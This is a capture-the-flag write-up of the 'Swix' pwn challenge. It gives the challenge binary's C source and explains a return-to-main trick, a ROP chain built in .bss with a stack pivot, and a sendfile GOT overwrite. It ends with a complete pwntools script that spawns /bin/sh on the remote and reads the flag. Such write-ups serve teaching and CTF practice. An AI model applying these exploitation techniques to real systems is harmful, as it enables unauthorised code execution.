Last week, we - m1cr0$oft 0ff1c3 team participated in this event and got 11th place.
I’ve solved all Pwn challenges. But now I only show the solution for the “Swix” challenge. ( I feel this is only the “real” pwn challegne ).
Attachemnt: Swix.zip 
We are provided the source code of this binray:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 #include  <stdio.h>  #include  <fcntl.h>  #include  <stdlib.h>  #include  <sys/mman.h>  #include  <sys/sendfile.h>  #include  <string.h>  #define  MAX_FRIENDS 1 typedef  struct  user {    char  username[8 ];     char  description[256 ];     int  id;     int  age;     char  password[32 -4 ];     struct  user  **friends ;     int  friendCount; } user; user u; char  superSecretMessage[] = "\x0c\x62\x28\x65\x36\x24\x23\x20\x64\x65\x0c\x65\x32\x2c\x36\x2d" ;int  usedHack = 0 ;int  uname, age, logo, menu, f2, f3;void  initStuff () {    uname = open("uname" , O_RDONLY);     age = open("age" , O_RDONLY);     logo = open("logo" , O_RDONLY);     menu = open("menu" , O_RDONLY);     f2 = open("msg2" , O_RDONLY);     f3 = open("msg3" , O_RDONLY);          u.friendCount = 0 ;     u.friends = (user**) malloc (sizeof (user*)*MAX_FRIENDS); } char * SuperHardEncoding (char * s) {         for (int  i=0 ; i<16 ; i++){         s[i] = s[i] ^ 69 ;     }     return  s; } void  showMsg (int  fd, size_t  size) {    off_t  off = 0 ;     sendfile(1 , fd, &off, size); } void  addFriend () {    if (uname == -1 ){         exit (0 );     }          if (u.friendCount >= MAX_FRIENDS){         return ;     }          u.friends[u.friendCount] = (user *)malloc (sizeof (user));          showMsg(uname, 10 );     read(0 , u.friends[u.friendCount]->username, 8 );          u.friendCount++; } void  editFriend () {    if (uname == -1 ){         exit (0 );     }          if (u.friendCount == 0 ){         return ;     }          char  idx;     read(0 , &idx, 1 );          int  id = (int )(idx - '0' );     if (id >= u.friendCount){         return ;     }          if (id > 9  || id < 0 ){         return ;     }          showMsg(uname, 10 );     read(0 , u.friends[id]->username, 8 ); } void  getFriendAdr () {    if (f2 == -1  || f3 == -1 ){         exit (0 );     }     if (usedHack == 1 ) return ;     usedHack = 1 ;          char  idx;     read(0 , &idx, 1 );          int  id = (int )(idx - '0' );     if (id >= u.friendCount){         return ;     }          if (id > 9  || id < 0 ){         return ;     }          unsigned  int  hack = (unsigned  int )u.friends[id];     while (hack){         if (hack&1 ){             showMsg(f2, 26 );         }         else  showMsg(f3, 1 );                  hack = hack / 2 ;     } } void  magicMove (unsigned  int  *p) {    read(0 , p, 16 ); } int  readInt () {    char  tmp[11 ] = {0 };     read(0 , tmp, 10 );     return  atoi(tmp); } void  setCreds () {    if (uname == -1  || age == -1 ){         exit (0 );     }          showMsg(uname, 10 );     read(0 , u.username, 8 );          showMsg(age, 5 );     u.age = readInt(); } int  main () {    unsigned  int  *p;     p = &p;     p = (unsigned  int *)((unsigned  int )p+0x20 );          initStuff();          if (logo == -1  | menu == -1 ){         return  1 ;     }          showMsg(logo, 3201 );     char  choice;          while (choice != '6' ){         showMsg(menu, 95 );                  read(0 , &choice, 1 );         switch (choice){             case  '1' :{                 setCreds();                 break ;             }                          case  '2' :{                 addFriend();                 break ;             }                          case  '3' :{                 editFriend();                 break ;             }                          case  '4' :{                 getFriendAdr();                 break ;             }                          case  '5' :{                 magicMove(p);                 break ;             }                          case  '6' :{                 break ;             }                          default :{                 exit (0 );             }         }     }          SuperHardEncoding(superSecretMessage);     puts (superSecretMessage);     SuperHardEncoding(superSecretMessage);     p[2 ] = 0xdeadbeef ; } 
I can see that the function getFriendAdr can show the heap address but it is useless for the exploitation.
This code shows that p now is pointing to the saved $RIP address of the main function :
1 2 3 unsigned  int  *p;p = &p; p = (unsigned  int *)((unsigned  int )p+0x20 ); 
And the case ‘5’ can help us overwrite main‘s reuturn address:
1 2 3 4 case  '5' :{    magicMove(p);     break ; } 
But we can only modify 16 bytes :
1 2 3 void  magicMove (unsigned  int  *p) {    read(0 , p, 16 ); } 
And p[2] is changed to 0xdeadbeef:
This makes harder for me when I try to build a rop chain to call a func function with argument argv:
1 2 3 4 5 6 7 8 9 10               -----> ++++++++++++		++++++++++++	 +   func   +		+   func   + ++++++++++++		++++++++++++ +   main   +		+   main   + ++++++++++++		++++++++++++ +   argv   +		+0xdeadbeef+ ++++++++++++		++++++++++++ +   ....   +		+   ....   + ++++++++++++		++++++++++++ 
After a moment, I realized that I can make the main function return to itself again to modify the rop chain 2 times:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 1st stage: ++++++++++++ +   main   + ++++++++++++ +0x0804901e+  // pop ebx ; ret -> force return to func ++++++++++++ +0xdeadbeef+ ++++++++++++ +   func   + ++++++++++++ 2nd stage ( After the main returned to itself): ++++++++++++ +   main   + ++++++++++++ +0x0804901e+  // pop ebx ; ret -> force return to func ++++++++++++ +0xdeadbeef+ ++++++++++++ +   func   + ++++++++++++  // 2nd stage only can change the stack from this: +  _start  + ++++++++++++ +   argv   + ++++++++++++ 
As you see now we can call func(argv) and return to _start safely.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def  callFunc (func: int , argv: int  ):    p.sendafter(b"6. Logout.\n" ,b"5" )     p.send(         p32(e.sym.main)+         p32(0x0804901e )+          p32(0x1337 )+         p32(func)     )     p.sendafter(b"6. Logout.\n" ,b"6" )     p.sendafter(b"6. Logout.\n" ,b"5" )     p.sendline(         p32(e.sym._start)+         p32(argv)     )     p.sendafter(b"6. Logout.\n" ,b"6" ) 
At the first time, I had try to call puts@plt(puts@got) to leak the libc but it didn’t work on the remote. I realized that they use cat to hadnle I/O
1 2 #!/bin/bash timeout  10 cat  | env  -i /app/main
So I tried to buid the rop chain on the .bss segment (by calling magicMove(addr), magicMove(addr+4), ….) 
and pivoting the stack to it ( by using the gadget pop ebp ; leave ;ret ) .
This is my rop chain, I don’t give the detail but I can tell you that I try to change sendfile@got point to call DWORD PTR gs:0x10 (syscall) andeax = 0xb , ebx = "/bin/sh", [ecx] = NULL and  edx = 0  so I can call syscaLL_execve("/bin/sh",[NULL],NULL) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 rop = [     p32(e.sym.magicMove),     p32(0x0804901e ),      p32(0x804cf00 ),       p32(e.sym.read),     p32(0x0804939a ),      p32(0 ),p32(e.got.sendfile),p32(1 ),      p32(e.sym.read),     p32(0x0804939a ),      p32(0 ),p32(0 ),p32(0 ),      p32(0x0804939c ),      p32(0x804c2ec ),     p32(0x080492c2 ),      p32(0x0804939c ),      p32(0xb ),             p32(0x804976c ),      p32(0x804c308 ),     p32(0x804cf00 ),     p32(e.plt.sendfile),      p32(0 ),p32(0 ) ] 
This is my final exploit script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from  pwn import  *from  pwn import  p32,p64from  time import  sleepcontext.binary = e = ELF("./main" ) gs="""  """ def  start ():    if  args.LOCAL:         p=e.process()         if  args.GDB:             gdb.attach(p,gdbscript=gs)             pause()     elif  args.REMOTE:         p=remote(args.HOST,int (args.PORT))     return  p p = start() def  callFunc (func: int , argv: int  ):    p.sendafter(b"6. Logout.\n" ,b"5" )     p.send(         p32(e.sym.main)+         p32(0x0804901e )+          p32(0x1337 )+         p32(func)     )     p.sendafter(b"6. Logout.\n" ,b"6" )     p.sendafter(b"6. Logout.\n" ,b"5" )     p.sendline(         p32(e.sym._start)+         p32(argv)     )     p.sendafter(b"6. Logout.\n" ,b"6" ) rop = [     p32(e.sym.magicMove),     p32(0x0804901e ),      p32(0x804cf00 ),       p32(e.sym.read),     p32(0x0804939a ),      p32(0 ),p32(e.got.sendfile),p32(1 ),      p32(e.sym.read),     p32(0x0804939a ),      p32(0 ),p32(0 ),p32(0 ),      p32(0x0804939c ),      p32(0x804c2ec ),     p32(0x080492c2 ),      p32(0x0804939c ),      p32(0xb ),             p32(0x804976c ),      p32(0x804c308 ),     p32(0x804cf00 ),     p32(e.plt.sendfile),      p32(0 ),p32(0 ) ] pre_rop = [     p32(e.sym.read),     p32(0x0804939a ),      p32(0 ),p32(0x804c2b0 ),p32(0x3000 ), ] for  i in  range (len (pre_rop)):    callFunc(e.sym.magicMove,0x804c2b0 -len (pre_rop)*4  + 4 *i)     p.send(pre_rop[i]+p32(0 )) p.sendafter(b"6. Logout.\n" ,b"5" ) p.send(     p32(e.sym.main)+     p32(0x0804901e )+      p32(0x1337 )+     p32(0x08049283 )  ) p.sendafter(b"6. Logout.\n" ,b"6" ) p.sendafter(b"6. Logout.\n" ,b"5" ) p.sendline(     p32(0x804c2b0 -len (pre_rop)*4 -4 )  ) p.sendafter(b"6. Logout.\n" ,b"6" ) sleep(1 ) p.sendline(     b'' .join(rop) ) sleep(0.1 ) p.send(b"/bin/sh\0" .ljust(16 ,b"\0" )) p.send(b"\x5b" ) sleep(0.1 ) p.sendline(b"cat flag*" ) p.interactive()